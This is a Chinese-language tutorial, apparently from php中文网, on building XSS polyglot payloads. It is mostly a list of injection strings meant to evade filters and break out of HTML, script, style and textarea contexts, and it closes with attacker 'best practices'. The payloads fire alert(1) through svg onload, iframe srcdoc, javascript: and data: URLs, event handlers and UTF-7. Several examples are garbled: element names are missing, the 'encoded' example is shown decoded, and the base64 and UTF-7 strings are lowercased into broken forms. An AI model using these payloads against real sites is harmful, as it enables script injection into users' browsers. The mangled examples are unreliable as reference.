创建强大的 XSS 多语言

多语言有效负载利用多种编码、注入和混淆技术来绕过过滤器、混淆解析器，并跨不同上下文（如 html、javascript、css、json 等）触发执行。

-合并评论样式
多语言者经常通过合并不同的注释风格来混淆解析器：

javascript: //, /* */
html: <!-- -->

<!--<script>/*--><svg onload=alert(1)/*</script>-->

-使用编码实体
使用 html 或 url 编码绕过过滤器：

html: <, >, "
url: %3c, %3e, %22

<script>alert(1)</script>

-多语言环境
多语言负载可跨多种语言工作，例如 html、javascript、css。

"><svg onload=alert(1) style="background:url(javascript:alert(1))"><!--

-脱离上下文
逃离当前上下文，如文本区域、脚本或样式。

</textarea><svg onload=alert(1)>

-滥用 html5 元素
使用现代元素，如 、 或 .

<svg onload=alert(1)></svg>
<iframe srcdoc="<svg onload=alert(1)>"></iframe>
<math><mtext><script>alert(1)</script></mtext></math>

-上下文事件处理程序
将事件处理程序注入 html 标签，例如 onload、onmouseover。

<div class="x" onmouseover="alert(1)">

-结合 html、javascript 和 css
混合 html、css 和 javascript 的上下文。

</style><script>alert(1)</script><style>

-利用 svg 和 xml 功能
svg 允许通过 javascript uri 和其他基于 xml 的功能进行注入。

<svg><image href="javascript:alert(1)"></svg>

-协议混乱（数据 url、javascript url）
使用 javascript: 或 data: url 进行负载传输。

<a href="javascript:alert(1)">click me</a>

<iframe src="data:text/html;base64,phn2zybvbmxvywq9ywxlcnqomsk+"></iframe>

-使用换行符进行中断
使用换行符 n 或回车符 r 绕过过滤器。

"onmouseover=\nalert(1)//"

-多语言结构
可跨 css 和 javascript 等多种语言工作的有效负载。

*/ alert(1) /*

-utf-7 编码
使用不太常见的编码，例如 utf-7。

+adw-script+ad4-alert(1)+adw-/script+ad4-

-使用 html5 注入向量
使用现代 html5 向量，如 srcdoc、formaction 或 sandbox。

<iframe srcdoc="<script>alert(1)</script>"></iframe>

-多重闭合和分层
关闭不同的标签以打破嵌套上下文。

</textarea></script></iframe><svg onload=alert(1)>

多语言负载的最佳实践
多样化攻击向量：使用 、 、 <script>.<br> 等多个元素 编码：使用html或url编码绕过过滤器。<br> 事件处理程序：与 onmouseover、onload.<br> 等事件处理程序结合使用 上下文转义：专注于打破字符串、属性或标签。<br> 最小化有效负载长度：保持有效负载较短以绕过长度限制。<br> 这些技术展示了多语言负载如何通过使用多种语言和上下文来绕过现代过滤器。</script>

以上就是创建强大的 XSS 多语言的详细内容，更多请关注php中文网其它相关文章！